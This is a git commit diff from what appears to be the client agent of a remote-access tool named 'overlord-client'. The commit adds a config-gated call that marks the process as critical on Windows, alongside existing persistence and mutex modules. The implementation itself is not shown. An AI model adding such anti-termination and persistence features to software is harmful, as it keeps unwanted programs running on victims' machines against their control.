add critical process for windows

This commit is contained in:
KingKDot
2026-04-03 10:47:05 -05:00
parent 38e5f42baf
commit a044d74aa3
9 changed files with 132 additions and 0 deletions
+5
View File
@@ -5,6 +5,7 @@ import (
"time"
"overlord-client/cmd/agent/config"
"overlord-client/cmd/agent/criticalproc"
"overlord-client/cmd/agent/mutex"
"overlord-client/cmd/agent/persistence"
)
@@ -24,6 +25,10 @@ func main() {
}
}
if cfg.CriticalProcess {
criticalproc.Setup()
}
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
if err != nil {
log.Printf("[mutex] failed to initialize mutex: %v", err)